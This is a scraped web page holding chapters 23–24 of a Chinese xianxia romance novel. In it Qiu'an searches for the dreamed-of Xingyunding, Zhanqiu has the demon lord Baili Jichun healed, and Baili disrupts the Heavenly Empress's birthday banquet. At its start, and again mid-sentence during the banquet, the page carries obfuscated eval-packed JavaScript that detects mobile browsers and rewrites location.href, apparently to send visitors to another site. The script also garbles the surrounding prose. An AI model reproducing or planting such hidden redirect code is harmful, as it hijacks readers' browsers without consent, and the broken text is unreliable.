l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633945|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变。他竟有些庆幸父皇赐的这份姻缘。 从小到大,父皇给他的无论好坏他都一一受着,就因为不敢拒绝惹得父皇不悦。可那些东西里却没有一个是他真正想要的。 唯独这一次,他真的想要得到。 出于什么原因非要不可呢? 裘安僵直地站在书橱前,眼神因为这个问题变得迷朦,直到邬霖的禀报声在身后响起。 “殿下,方才南天门守卫来报,斩秋上神出宫了。” 裘安回神,将手中的经卷放回去:“就她一人?” “是。”邬霖回禀。 眼下这个时机,她怎会只身离开?裘安眉头微蹙,没由来地想起一人:“玲珑可还在秋茗宫中?” 早在得到斩秋出宫的消息时,邬霖便已悄悄地潜入秋茗宫中一探究竟。因为殿下嘱咐过要盯紧玲珑,故而他最先前往齐星斋,彼时齐星斋内空无一人。 是以,邬霖摇首答道:“秋茗宫内除去普通仙侍,唯有灵衫一人。” 听到这个答案的裘安脸色骤然一沉。 屋内突然静了。 良晌过去,他才抬手一挥,重新将目光聚于成堆的古卷上,不咸不淡对邬霖吩咐道:“知道了,你先下去吧。” 这天夜里,裘安没有回朝云宫寝殿,而是直接睡在了执月阁。 他坐在地上背倚着书橱,睡着时手边还挂着未看完的经卷。一双剑眉轻轻皱着,分明是在睡梦中,可他的神情和坐姿却紧绷无比。 大抵是因为睡梦中,再一次见到了斩秋。 她还是那么高高在上,傲慢无礼。 二人初定婚约之际,天帝有意让他二人多加亲近,故而命裘安去邀斩秋同游漫丘。 彼时裘安站在秋茗殿外,吩咐门外仙侍进去通禀。 没过多久,殿内传来仙侍请示的声音。 “殿下,二殿下求见。” 裘安的耳力向来很好,哪怕隔着一道门与数座屏风,依旧能听见里面的声响,只听仙侍请示完后殿内轻飘飘地漾起两字—— “不见。” 声音有些含糊,好像在咀嚼着什么。 那名仙侍领意退了出来,对裘安躬身恭敬道:“殿下此时正忙,要不二殿下先请回,改日再来罢。” 裘安依旧笑得柔和,仿佛并不知道里面斩秋所忙正事便是吃食,温声道:“无碍,我可以等。” 既是父皇之命,他这戏便也得作得认真一点。仅被回绝一次就退缩,未免显得毫无诚意。 “这……”传话的仙侍听他这么说,面色略显为难,踌躇一番叹了口气,再度迈入殿内请示。 “殿下,要不……还是出去见见?二殿下一直在门外等着呢。” 话音落下,殿内突然静了一会儿。 裘安原以为这个空隙她定是在想编一个理由来搪塞他,如此也正合他意。待她想好缘由,他便可以顺理成章地离开,届时回去回禀父皇亦不显错处。 他就这么好整以暇地立在门外,却听里面斩秋的声音伴随着一声嗤笑响起。 “让他等。” 23. 第23章 传话的仙侍再次退出来,面上显然多了一些愧色,一副欲言又止的模样,良久才道出:“二殿下,您看这……” 她虽在秋茗宫侍奉不久,却也看出里头那位殿下是个说一不二的性子。既然殿下不想见他,便一定不会出来,他就算在此苦等也是无用。 裘安脸上挂着的笑早在听见斩秋的声音时便已僵住,此时回过神更是攥紧了拳。 但他并未让旁人察觉他的失态,再度抬眸时已然恢复成往常的模样。他未言语,就这般静静地站在原地。 见他没有要离开的意思,神侍自知劝不动,只得一边摇首一边轻叹着退回到殿内。 待斩秋吃饱喝足又睡上一觉醒来,已值酉时,她终于想起来出去走动走动。 殿门打开。 夕照的光辉洒进殿内,一同照映进来的,还有裘安颀长的影子。 见他竟然还等在门外,斩秋的眼睛忽然亮了。 她有些惊讶,还有些佩服,但她的表情却犹为嫌弃:“你怎么还在?” 裘安向来最擅等待,故而脸上不显怒意,好像并不觉得被拒之门外数个时辰是一件多么难堪之事:“听闻漫丘此时紫荆开得正盛,不知你可愿……” 他的话还未说完就被斩秋摆手打断:“漫丘太远了,没什么意思。” “……”裘安。 不过看在他在门外候了几个时辰的份上,斩秋还是决定赏他一个面子:“我知道一个地方,那里的星河可比漫丘的紫荆好看多了。” 她说完便大步往前走去,见身后没有动静,回头问道:“愣着干嘛?还不跟上。” “好。”裘安微笑跟上。 若非今日得见,他还不知九重天竟还有这么一个与外隔绝之地。 仙雾绕足,星辰环顶,如梦如幻。 此处是九重天上星辰最为璀璨之地,星光交替闪烁,仿若一颗颗晶莹宝珠从天划落。绚丽的色彩交织成一幅流动的画卷,在夜空中自由地飘舞着。 看见他眼底的惊艳之色,斩秋不觉扬眉,神情颇为得意:“此地原是父神在我百岁生辰那日所建,入口仅有我与父神知晓,你小子今日可是捡了一个大便宜!” 裘安闻言淡淡一笑,没说什么。他虽从未听闻此地,却相信斩秋所言非虚。 玄焰真神有多么宠爱斩秋,三界皆知。故而为其生辰建造这样一片净土为赠,也属实算不上稀奇。 二人就这般静静地仰头望着星空,星辰如同漫天烟雨洒在他们的眸里,泛着绚烂的光彩。 良久,似乎想起了什么,斩秋的神情变得悲伤起来。她缓缓转过头,盯着裘安看了一会儿,突然启口。 “裘安。” “嗯?”裘安应声扭头看向她。 视线中她的脸色变得严肃,就这样毫无征兆地、冷冰冰地说。 “你退婚吧。” 梦在这里终止。 裘安睁开眼,眼底渗着无尽寒凉。 天未醒透,朦胧清冷的光从窗外照进,如同一张巨大的银网披落在他身上,莫名添写几分寂寥。 他始终坐着未语,光影随着时间在他身上流动。不知过了多久,他终于起身,弹指间将所有散落的经卷整理好放回原处。 却在这时,一本书卷从书橱掉落。 裘安垂首看去,本是随意一瞥,视线却在触及被风翻开的那页时牢牢定住。 那是一副绘图。 星月交辉,静谧怡人。与梦中斩秋带他去的地方有七八分相似。 他蹲下身将书册捡起,敛眉看着书页上仅有的三个字——星云顶。 他从未听说过。 九重天竟还有这样的地方吗? “殿下,大殿下来朝云宫了。” 邬霖的闯入拉回了裘安的思绪,只见他掌心一转,悄悄将书册没入袖中。 裘安不紧不慢地走在回宫的路上,他似乎知道即将面临的是什么,故而刻意放慢了脚步。 待入殿后,他拾起笑容上前朝裘旭施礼,不等对方开口便先行发问:“阿兄,你来得正好,我有一事与你请教。” “阿兄可知星云顶在何处?” “什么?”冷不丁的一问使得裘旭微微愣住,他蹙了蹙眉,显然未曾听过这个名字。 见他如此反应,裘安眼中的期待散去,化作一道浅浅的笑,岔开了话题:“阿兄今日怎么想起来朝云宫了?” “哦……过几日是母后的寿辰。” 短短一句话已足以表明来意。 他是来试探自己的,裘安心知肚明,却只点点头没有搭话,活脱一副单纯无知的模样。 裘旭不得又问了一句:“安儿,你会去母后的寿宴罢?” 从前无论他在天后寿辰之际发生过何种“意外”,裘旭都只一如既往地年年相邀,不曾过问缘由。今日竟问得如此直白,莫非终于醒悟,知道他过去种种皆是有意为之了? 想到这里,裘安饶有兴味地挑眉,语气却揣着几分无辜:“阿兄说的哪里话?母后的寿宴,我自然会去。” 裘旭听罢尴尬地笑笑,似乎还想再说些什么,踌躇半晌,最终还是将话咽了下去,神情浮上一抹愧疚。 也是,他不该听信斩秋所言便来试探安儿。安儿一定会去的,从前种种皆是意外罢了。 二人又交谈了几句其他,随后裘旭不再停留,起身离去。 送走裘旭以后,裘安温和的脸色瞬间没了温度,转头冷冷吩咐邬霖:“听闻聊宴近来得了一尊丘神木。你去寻来,当作给天后的寿礼吧。” 邬霖点头应是,心底却有些不明,忍不住发问:“殿下您当真要去?” 奈何此一问并未得到任何回应,殊不知此时裘安的心绪早已从此事脱离,飘到了另一件事上。 …… 以裘旭固执古板的性格,说了会想办法弥补斩秋便一定会做到。加之他或许已对她起疑,可能会常来秋茗宫走动,故而秋茗宫中必须留人应对。 是以为了掩人耳目,斩秋嘱咐灵衫留在秋茗宫中,又用定魂锦囊将百里及春收入其中塞进袖里,随后大摇大摆地离开了天宫。 幸而回缥缈境的路程不远,她一抵达缥缈境便直奔沉无殿去,重重地敲响了殿门。 还不待人应答,早已顾自大步迈了进去,对着桌边的人影就是躬身一拜,声音透着急切:“性命攸关之际,实在顾不得礼节,斩秋擅自闯入还请神尊恕罪。” 元疏见此情景身形微怔,错愕片刻方才回道:“整个缥缈境都是小神君的,小神君何罪之有?再说了,我早已不是您口中的什么神尊了。” 斩秋此刻无暇与他争辩这些,忙一挥袖将百里及春从定魂锦囊中放出安置于床上,复又施了一礼:“请神尊救救他。” 元疏顺势向床榻看去,看清百里及春的脸时,眼底闪过一瞬的诧异,不过很快就恢复了往常冷淡的模样,摇了摇头:“小神君,恕我无能为力。” 听到这样的回答,斩秋自是不愿相信,也不敢相信。她不禁上前一步,神情有些激动:“不,您能救他,您只是不想,对不对?” “我知道他曾将您关在遗光塔中,且他身为魔尊,您不愿意救他也是情理之中。但他现在不能死,我还需要他。” 元疏听罢依旧不为所动,低垂的眼都不曾抬一下,默然注视着地面。 眼见床上百里及春的气息愈渐微弱,斩秋握紧了拳。半晌,她咬牙问出一句:“如果我能让神尊光明正大地回到天宫,回到岭遥台呢?” 此话一落,元疏古井无波的心底骤然泛起了涟漪。 他缓缓抬眼看向斩秋,眼眸中闪过光亮,以及一丝不可置信。却见面前的少女神情坚定从容,声音很轻却如千斤重地砸响在他耳际。 “晚辈说到做到。只要神尊您,救他。” 元疏怔怔望着斩秋,神色复杂。 她真的知道自己这一诺有多难完成吗?抑或是正因为不知,才能如此信誓旦旦? 不知过了多久,元疏垂下眼睫轻叹一息,终于给出了回应:“小神君先到外面等候罢。” 斩秋听罢顿时松了口气,面上露出真诚感激的笑意,频频颔首,躬身行礼道:“多谢神尊!” 退出殿外后这么一等便是一个时辰。 一旁的玲珑看着自家殿下寸步未移地站了一个时辰,终于忍不住开口:“殿下,您要不先回罢?待有消息了属下即刻去禀。” 斩秋闻言思忖片刻,却是摇了摇头:“不用了,我还是在这里等吧。” 百里及春的生死关系到父神陨世的真相,不亲眼看到他无事,她不安心。 可是玲珑哪里知道她心中所想?观眼下情形,只以为里面躺着的那位或是于殿下而言十分重要之人,所以殿下才会如此忧心罢。 好想见一见里面那位,不知道殿下心系之人是何模样?翩翩少年还是沉稳君子?身型是胖是瘦?是高是矮?最重要是,他对殿下好不好? 虽然知道殿下已有婚约在身,但是那个天宫二殿下她见过。凶巴巴的,一看就很坏,定然不会对殿下好的。她还是希望殿下能脱离这桩婚事,寻一个更好的人在一起。 转瞬的时间,玲珑的思绪俨然跑到千里之外。 又过了半个时辰,里面的门终于被打开。 元疏走出来,朝斩秋道:“小神君可以进来了。” “他可醒了?”斩秋一边大步朝内迈去一边问道。 “尚未醒来,不过想是快了。待他苏醒,殿下应该有话要与他说吧,我就不在此打扰小神君了。” 元疏说完便欲退出正殿,孰料身后传来一唤。 “等等。” 他转过身去,只见斩秋看着他,认真道:“谢谢你,元疏神尊。” 他已与她说过许多次无需唤他元疏神尊,她既不愿改,他亦懒得再去纠正。是以元疏无奈笑笑,没说什么。 不一会儿,又听她道:“还有,我答应神尊的事,一定会做到。” 再一次听见她的承诺,元疏才意识到,眼前这位不谙世事的小神君并非空有诺言。 她是认真的。 他的嘴唇微张,半晌却未道出一字。 彼时床上传来一声沉闷的声音,想是百里及春醒了。元疏没再作多停留,转身退了出去。 斩秋的视线也因此回到百里及春身上,见他睁开眼后神情慢慢变得清明,才开口问他:“你感觉如何?” 意识逐渐恢复,百里及春应声侧目看了她一眼,轻轻“嗯”了一声。 一个“嗯”字就想把她给打发了? 斩秋蹙起眉,语气有些不豫:“我问你,是谁伤的你?受伤了为何不派人告诉我?若是我没去寻你,你难道打算一个人死在里面吗?” 话音落下,百里及春却阖上了眼,恍若未闻。见他又一次回避,斩秋面露不耐,正欲发作,开口之际蓦然想到了什么:“难道是裘安?” 先前她只顾得上百里及春的伤势,无暇思虑其他。如今仔细想来,那日她躲在齐星斋时,裘安在门外对百里及春所言就已充满威胁之意。 然而她的猜想才刚说出口便被否决了。 “不是他。”百里及春仍未睁眼,轻描淡写地说道。 “那会是谁?” 话音落下,屋内又是一阵沉默。 片刻后,百里及春才道:“你有这个精力,不如好好想想如何早日取得回元。” “这是两码事。”斩秋皱眉。 他既是以她秋茗宫之人的身份受的伤,便说明对方是冲着她来的。她可没有让自己人莫名受伤还不管不顾的道理。 这一回百里及春没有沉默,他睁开眼看向她,声音沉闷,却异常坚定:“于本座而言,回元便是一切。” 话落,斩秋有些愣神,反应过来只觉自己的好心成了笑话。一时气急,连道两声“好”后甩袖离去。 迈出殿门时她看见元疏仍在殿外,眼眸闪过一道亮光,大步朝其走去,笑问:“神尊,他的伤应该还要再疗养几日吧?” 后者朝殿门的方向望了一眼,淡然答道:“如今他的本源之力已全部恢复,伤势确无大碍。不过若想加快痊愈之速,也可服用几枚疗愈的丹药作为辅佐。” “那神尊那里可有什么极苦之药?能苦到让人后悔莫及,恨自己不知好歹的那种?” “……”显然她话中有话,只是元疏一时没听明白。 四周沉寂了片刻,斩秋有些尴尬,亦觉得自己此举颇为幼稚,只得干笑两声遮掩过去:“哈哈,我与神尊说笑呢,您不必放在心上。” 说完便连忙施礼请辞,匆匆离去。 站在原地的元疏望着她疾驰的背影,忽然反应过来她方才所言何意,又朝殿内的方向望了一眼,不由失笑。 自与百里及春不欢而散之后,斩秋便再没去过沉无殿,一连便是四日。后来这四日里,百里及春用了些什么药、做了些什么事、恢复到何种程度等等,都由玲珑前来禀报。 说来奇怪,斩秋并未交代过玲珑要向自己禀报这些,但她却十分积极,每每从沉无殿回来,总是滔滔不绝、事无巨细地说着。 “殿下,百里神君今日看上去气色更好了呢,就是整日冷着张脸,像个冰坨子。”玲珑跑到斩秋面前,抱着她的手臂笑嘻嘻地说着。 斩秋没告诉玲珑住在沉无殿养伤的那位就是魔族的尊主,只说他唤做百里。玲珑便自然而然地以为他定也是天宫的某位神君,于是唤其为“百里神君”。 起初听闻这个称呼斩秋只觉得滑稽,但后来仔细一想,百里及春若非是魔,以他的修为放在九重天上,少说也是个上神,叫一声神君似乎也合理,便由着玲珑唤了。 “元疏神尊说百里神君已恢复如初,可以搬出沉无殿了。殿下你觉得让百里神君搬去哪里好?要不就去旁边的飞云殿吧?或者……” 玲珑依旧兴高采烈地说着,然而斩秋接下来说的话就如一泼凉水浇下,完全浸没了她的后话。 “既然恢复好了,便让他离开缥缈境罢。” 斩秋轻轻将手臂从她的环抱中抽离,走到妆奁前,看着镜中的自己,轻描淡写地吩咐着。 今日就是天后的寿宴了,印象中此次寿宴邀请了诸多三界强者,就连祈元山的涣川仙君也会到访。早就听闻涣川仙君乃三界铸造兵器第一人,或许从他那里可以打听到一些回元的消息。 至于百里及春,他们之间本就该简简单单的,不应有太多牵扯。 既是纯粹的利益交换的关系,便不该把他归入自己人的行列。那日心想要替他报仇,的确是她越界了。如今他已恢复,就更不该久留于缥缈境中。 “为何呀,殿下?”玲珑怔怔地看着她,满目不解。 “他本就不属于这里。”斩秋拾起一支玉簪戴上,侧首打量着镜中自己的模样。觉得这支不好,又取了下来,拿起另一支。 “可是……” 玲珑明显还想再说些什么,却被斩秋温声打断:“好了,一会儿便要回天宫了,你去沉无殿传完话就回去收拾收拾吧。” “收拾?”玲珑瞪大了眼睛,脸上不知是欣喜还是惊讶:“我也能随殿下一起去天宫吗?” “嗯。”斩秋颔首,她需要掩人耳目,“不过得待在定魂锦囊里。” 待玲珑再次回到沉无殿传话时,百里及春已经离开了。 得知这个消息的玲珑瞬间石化在殿外,对印象中这位清冷神君的好感全然化作灰烬。 养好伤后竟然连个招呼都不打就走了,亏他昏迷不醒时殿下还在门外守了整整一个时辰!看来殿下的一片真心算是付诸东流了。不值,太不值了! 玲珑腹诽着离去,脸颊气得通红。 而斩秋在飞辇上从玲珑口中得知这一消息时,却是松了口气似地笑了。 她并不意外,这才是百里及春的作风。 玲珑不懂,双手叉腰努起嘴问道:“殿下,您不难过吗?” “我因何难过?”斩秋反问。 因为一腔真情错付呀!玲珑心中自答。 但她并未将此话说出口,心想还是不要戳自家殿下的痛处。话未道出,故而气犹在胸口堵着,只见她双颊高高鼓起,宛如一条示威鼓腮的猛鱼。 临近南天门,斩秋才将她收入了定魂锦囊。囊中还有许多奇珍异宝相伴,想来她也是不会感到无趣的。 秋茗宫中。 灵衫已准备妥当,只待殿下归来,在这期间又与裘旭见了一面。 裘旭重诺,没寻成灵元丹,便每日往秋茗宫送上各式能滋补神元的补丹。按理说此等小事由旁人代劳即可,可裘旭却每日亲自登门。 一开始灵衫不以为意,只因殿下早就预料到会有此事,总归每日就是打个照面的功夫,并不算多难应付。奈何事不遂人愿,到了第三日,裘旭开始在秋茗宫中逗留,意图询问有关斩秋之事,灵衫自是以“无可奉告”为由挡了回去。 原以为今日是天后寿辰,裘旭应无暇再来秋茗宫送药,却不想他依旧来了。记得殿下曾和她说过,天帝长子裘旭性格古板且固执,一旦认定一件事,便是谁也改变不了。 看来殿下说得没错。 只是这一次他没有停留,将丹药送到后便匆匆离开了。 裘旭前脚刚走,后脚斩秋便到了秋茗宫。她来时看见裘旭离开的背影,忍不住与灵衫打趣:“裘旭果真勤快,难怪陛下要选他掌管幽境。” “如您所料,大殿下的确每日都会前来,昨日他还询问了您的踪迹。”灵衫颔首应答,随后捧起数只精美的瓷瓶与锦盒问道:“殿下,送来的这些丹药该如何处理?” 斩秋随意瞥了一眼:“留着吧。” 裘旭送出手的,必然是好东西。他可是欠她一枚灵元丹呢,区区这些哪能相比? “是。”灵衫领意,将掌上之物又尽数收入袖中。 宴会在凤极殿举办。 夜幕时分,殿内灯火通明,三界受邀之人陆陆续续步入殿中,欢声笑语不断。 斩秋的位子在主位之下,她一落座便瞧见对面本属于裘安的位置仍是空的,心中得意,不禁扭头看向一旁端坐如钟的裘旭,话声调侃:“二殿下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633946|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这回又是何故缺席?” “安儿会来的。”裘旭面无表情地回答。 斩秋勾唇微笑,不欲与其争辩。正低头整理着裙角,身旁突然响起裘旭欣喜的声音。 “安儿,你来了。” 听到这话,斩秋整饬的动作微滞,她不可置信地抬首望去,疑惑的神情撞进头顶那一双清幽的眼眸里。 “斩秋。”裘安冲她微微颔首,继而看向裘旭,同样的动作,“阿兄。” 裘安说完便转身落座,神情举止无任何不妥。 见斩秋一脸惊讶,一向肃穆正经的裘旭罕见地扬起唇,用仅有他与斩秋二人能听见的声音说道:“我早与你说过,安儿会来的。” 斩秋回神,转头瞥了他一眼。虽然不服气,但到底是他说对了,只好抿唇淡淡一笑,不作其他应答。不过心底却在疑问,裘安为何会出现? 就在斩秋垂首琢磨其中缘由之际,一位不速之客的到访引得席间一片哗然,打断了她的思绪。 “他怎么来了?” “他来这做什么?” “不会是来搅局的罢?” “看来今日宴会怕是不得安宁……” …… 谁来了? 斩秋循势抬眸朝殿门望去,越过层层叠叠的人影,看见了百里及春缓缓拉近的颀长身影。 只见前几日还奄奄一息的百里及春,如今生龙活虎地出现在此。乌发半束,身姿挺拔宛若苍松,怎么瞧都是一副意气风发、气宇轩昂的模样。 何曾有半分受过伤的影子? 惊讶和疑惑在斩秋眼中急速地闪过。虽不知百里及春的来意,但她可以断定,今日必有诡事发生。 “诸位似乎并不欢迎本座?本座是来道贺的,又不是来宣战的。” 百里及春揶揄的声音在宾朋满座的殿堂上响起,原先的窃窃私语登时戛然而止。 众人的声音并非消失了,而是化作恐惧转移到了面容之上。 诚然,如此玩味的话语出自魔尊之口,任谁也不会相信此番说辞含有一分真心,只会将此当作十足的威胁。 他们并不畏战,只是瞧着三界好不容易得来的太平马上又要付之一炬,自然是心悸的。 裘旭率先起身开口:“百里及春,你是如何进来的?” 他的面色声音皆显从容,毫无惧意,这也给殿中众仙增添了一份底气。 百里及春循声朝裘旭看去,面上微笑着,神情一派大方:“自然是从南天门走进来的。”说完似乎想起什么,“放心,本座可没伤他们。今日是天后的寿辰,若是见血,多么晦气。” 后面这句话他说得很轻,口吻却不乏嘲弄挑衅之意。 裘旭听着眉头轻拧,眼底浮现出一层薄愠,正欲开口请其离开时,一道浑厚的嗓音从殿前响起,打断了他的话语。 “来者皆是客。魔尊,你有心了。” 说话者正是天帝祁华。 天帝天后携手入殿,众人闻声皆起身作礼。整个大殿之上,唯独百里及春昂首立于中央,神态雍容。 斩秋悄悄斜眸看了百里及春一眼,不由得失笑。瞧他这副唯我独尊的姿态,哪里是来道贺送礼的? 她才在心中揶揄,便听百里及春说道:“本座今日前来,确实备了份大礼。” “哦?不知是何物?”天后玉瑶悠然展眉,面上不显一丝敌意,任谁看去都是一副端庄大度之姿。 “听闻天宫两位殿下前些日子为了找出与我族交涉之人煞费苦心。本座与二殿下有些交情,实在不忍见其为此事烦忧,故而今日特来奉上与我族交好者的名册。” 百里及春说着掌心轻摊,浮现出一个卷轴,而后视线若有若无地扫向一旁站立的裘安,扬高了声量。 “虽然今日乃天后寿辰,理应献礼于天后。不过本座素来听闻天后待二殿下如同亲子,想必不会介怀。若此名册能解二殿下烦忧,于天后而言便是大礼。” 话音辄止,席间众人的脸色便由恐惧转为暗笑揶揄。 天宫二殿下与天后的关系如何,众人不是不知,只是都看破不说破罢了。毕竟事关天家秘辛,何人敢私下议论?但是不议论并不意味着不好奇。 可是不过多久,他们的脸色又再度转为恐惧。因为他们担心自己的名字会出现在那荒唐的名册之上。 那名册上的名字孰真孰假,只有百里及春一人知晓。陛下多疑,万一铁心斩草除根,宁肯错杀,决意处置名册上的所有人,那该如何? 百里及春这一番话,不仅将裘安与天后的关系摆在明面上调侃,更是将天界众人拉入水深火热之地,不可谓不恶毒。 他们想要辩解却又不敢出声,生怕自己的胆怯会成为陛下眼中背叛的凭证。因此纷纷屏息凝神,等待着陛下的回应,期盼着陛下不要陷于百里及春阴险的把戏才好。 时间仿佛停滞了几瞬。 斩秋略微提眸,看见了天后原本含笑的嘴角出现细微的颤抖,似是强忍着怒火。而眼下裘安的情形也没好到哪儿去,他虽垂目掩饰着情绪,但握在双膝的拳头俨然出卖了他。 只有天帝的脸色是一贯的肃穆。 半晌,天帝忽然笑了起来,大殿之上回荡着他爽朗的笑声。 斩秋闻声收回了视线。 “哈哈哈,魔尊说笑了。不过既然这份名册是作为寿礼献上,若是不收岂非辜负了魔尊美意。” 天帝一说完,众人脸色霎时苍白如雪。 他们不知陛下此举是为何意,但斩秋知晓。 天帝向来多疑,无论这份名册是真是假,他都要亲自过目,哪怕明知这是百里及春搅弄人心的诡计。 只是有一点斩秋不明,百里及春为何要唱这么一出戏? 今日若是天帝有意要与他撕破脸面,他孤身一人该如何全身而退?冒着这样的风险来此一遭,就是为了羞辱天宫几位殿下么? 原本热闹的宴席经此一出变得幽静无比,众人皆已无心于歌舞酒肉,一个个像是丢了魂。而导致这一局面的罪魁祸首却将一切视若空物,大摇大摆地退场。 见他离开,斩秋旋即起身,匆匆交代灵衫一句在此等她,随后便在众人失神之际追了出去。 “你为何要这样做?”她在廊下叫住了他。 百里及春应声驻足,慢条斯理地转过身来,静静地看着她,似乎欲从她的眼中找到什么。过了一会儿,他淡然道:“你在心疼裘安?” 出乎意料的反问使得斩秋一噎。 她为何要心疼裘安?正欲开口反驳,又听他道:“本座知道是浮光救了……不对,现在应该叫他元疏了。他告诉本座你因此允诺他一个条件。” 见他突然提及此事,且神色正经,斩秋以为他是想为之前在沉无殿的无礼道歉。 幸而她并非小肚鸡肠之人,虽然当下心中有气,但眼下早已气消了,于是摆了摆手,大方道:“若是要道歉的话就不……” 怎料她的话还未尽数说完便被前者拦腰截断:“无论那个条件是什么,本座来帮你兑现。” 斩秋这一回是真的愣神了。 她昂首望着百里及春坚定又疏离的眼神,嘴唇张了张,许久只道出一个音节。 “啊?” 见她一脸不解,百里及春才冷冰冰地解释道:“本座不喜欠人情。” 经过名册一事之后,裘安也深觉没有留在此处的必要,今日来此本就是一个错误的决定。 余光扫到斩秋匆匆离开,他也不由自主地起身跟在她的身后。直到看见她在廊下叫住了百里及春,他才蓦然止步,掩身于石柱后。 他听见百里及春问她。 “你在心疼裘安?” 不知怎的,他也有些好奇斩秋会如何回答,可当他们谈话的声音再度传来时,他的脸色变得愈发阴沉。 二人的交谈已将裘安先前的猜疑证实,虽不知其中原委,但当时那个名为玲珑的仙侍果然是百里及春所扮。 而那日斩秋离开天宫时,并非独自一人。她离开的缘由,是因为百里及春受伤需要医治。 他二人当真是关系匪浅。 裘安心下冷嗤一声,早已无意再听下去,拂袖朝与他们相反的方向离开。 不知不觉他已走到星台,这里是离凤极殿最远之地,亦是天宫最北端。 裘安回过神来环顾四周,忽然觉得此地犹为熟悉,仿佛不久前刚来过一般。可他上一次到此处分明是初入天宫时迷了路误入此地,而那已是一千年前了。 沉思片刻,他倏然惊觉,或许上一次来到此处并非初入天宫之时,而是前几日。 ——在梦中,斩秋带她来过这里。 一股莫名的情绪在裘安胸口蔓延,促使着他去追寻什么。 他鬼使神差地向前走着,依照记忆中斩秋带领他的方向,劈开节节仙藤,绕过层层云雾,走向深处。不知走了多久、多远,眼前终于浮现出此处的真面目。 此处正是星云顶。 裘安看着眼前与梦中无二的景象,眼睫微颤。 “这、怎么可能?” 24. 第24章 斩秋久久才回过神,低头扶额笑了起来:“原来是这样。不过元疏神尊的事就不必劳烦魔尊了,我救你也只是为了我自己。” 毕竟濯奇还被关在魔界。 她话中划清界限之意如此明显,百里及春听罢眉尖微蹙,眼底藏着浓浓的阴郁。 半晌,见他没有离开的意思,斩秋顺势又道:“不过你若是真觉得自己欠我一个人情,不如告诉我你今日为何来此?哪怕有可能身陷险境。” 她的确对这上一世从未出现的一幕感到好奇,不禁想知道他今日来此的目的究竟是什么。说不定还能顺藤摸瓜,弄清楚近来种种人和事与曾经相比截然不同的原因。 “看来你真的很不了解本座。”百里及春唇角露出一丝细微的笑,神色却依旧阴沉,他用着鄙薄的口吻一字一句道,“本座从不以身犯险。” 什么意思? 斩秋不由得皱了下眉,下意识地环顾四周。心想难道魔族的人已经潜入天宫了? “你……”当她回过头还想再问些什么时,面前已没有了百里及春的身影。目光所及之处,皆无他半点痕迹,仿佛从来没有出现过一般,无声无息地消失了。 斩秋无奈转身,欲返回凤极殿。 才走了两步,身后突然传来一道陌生的声音。 “这位仙君,请留步!” 她应声回首,入目的是一个样貌年轻的男子。 男子一头暗红色的长发,个子不高,叶眉之下双目微微上扬,添了些妩媚之气,鼻梁高挺,嘴唇红润,声音亦很好听。 来者虽不识她,但她却认出了此人。 ——正是她今日赴宴想要寻找之人,涣川。 奇怪的是,宴会已进行大半,他为何不是从凤极殿出来,而是从南天门的方向而来?难怪她方才在殿中四处搜寻也没发现他的身影。 斩秋抿唇回忆片刻,双眸闪过一道亮光。 是了,前世也是如此,涣川因铸造兵器姗姗来迟,彼时天后已离开了凤极殿,故而他精心准备的贺礼也没能亲手交到天后手中。他也因此在殿中喝得酩酊大醉,闹出了不少笑话,当时她也是因此才注意到了他。 “想必这位仙君也是来赴宴的,看来在下应该没有来迟罢?”涣川走近斩秋,拍拍胸脯一幅松了口气的模样笑道,“说来奇怪,方才在下入南天门时竟没有守卫,还以为是入了虚无幻境呢,哈哈哈。” 不待斩秋找到说话的缝隙,他又兴致勃勃地说:“对了,在下祈元山涣川。不知这位仙子如何称呼?” “原来是涣川仙君,久仰。你叫我斩秋便好。”斩秋微笑着,回复起他先前的问题,“宴席已然开始,涣川仙君来迟了。” “竟然已经开始了?那我们快些走罢,斩秋仙子。”涣川得知自己来迟,不敢再作多停留,迈开步子便匆匆向前。 约莫过了几瞬,他突然觉得方才嘴边的名字有些许熟悉,不自觉地停下脚步,回头将斩秋上上下下打量一番。 虽然他从未见过斩秋,但也从那日前往二殿下上神宴的仙友们那里听说过,那位与二殿下定亲的小神君斩秋是何模样。 倾世芳华,白玉无瑕。他们如是描述道。 涣川瞪大了眼睛,连忙抬手施礼,恍悟道:“原来您是小神君,方才是在下失礼了。” 斩秋上前虚扶起他的手臂:“你还是唤我斩秋便好。” 难得有机会与他独处,斩秋自然要抓紧时机,开门见山地问他:“对了,涣川仙君。听闻你熟悉三界兵器,不知我可否向你请教一二?” “请教不敢当,小神君有何想知道的,尽管问便是。” “你可知道有关回元的消息?”她道。 话音才落,便见涣川的表情明显僵硬了一下,眼中神色似有回避之意:“小神君从何处听说的回元?” 斩秋未曾料到他会有如此反应,双眸一转,作出一副俏皮模样:“一个朋友告诉我的,听说是一件尤为厉害的兵器。不过我查阅了诸多上古卷宗,发现其中对回元的记载不过寥寥几笔,实在是看不出什么有用的信息。” 涣川听她的口吻的确像是不知其中利害,便只当她是年少无知,复叹了口气,语重心长道。 “此事小神君还是不要打听得好。今日小神君与在下询问过回元一事也不要跟旁人提起,就当作此事从未发生过。”说罢未作任何停留,匆匆转身欲离。 “等等。”斩秋旋即踱步上前拦住了涣川,眸中尽是狐疑,“涣川仙君这是何意?” 见他抿唇不语,斩秋往后退了一步,抬手朝他施了一礼,言行恳切,却也透着不达目的不罢休的威严:“还请涣川仙君提点一二。” 涣川见状急忙上前扶住她抬起的手,连连叹气:“小神君,此物乃是邪物,有悖天地之法!您还是莫要追问了,告辞!” 他这一次说完没给斩秋任何拦住他的机会,直接化身原型赤狐,一溜烟地跑了,留给斩秋的只有面前一阵促风。 “……”斩秋。 今日真是中了邪了,一个两个的都不把话说清楚,溜得倒是挺快!斩秋暗暗咬牙,虽有些生气可惜,但更多的是疑惑。 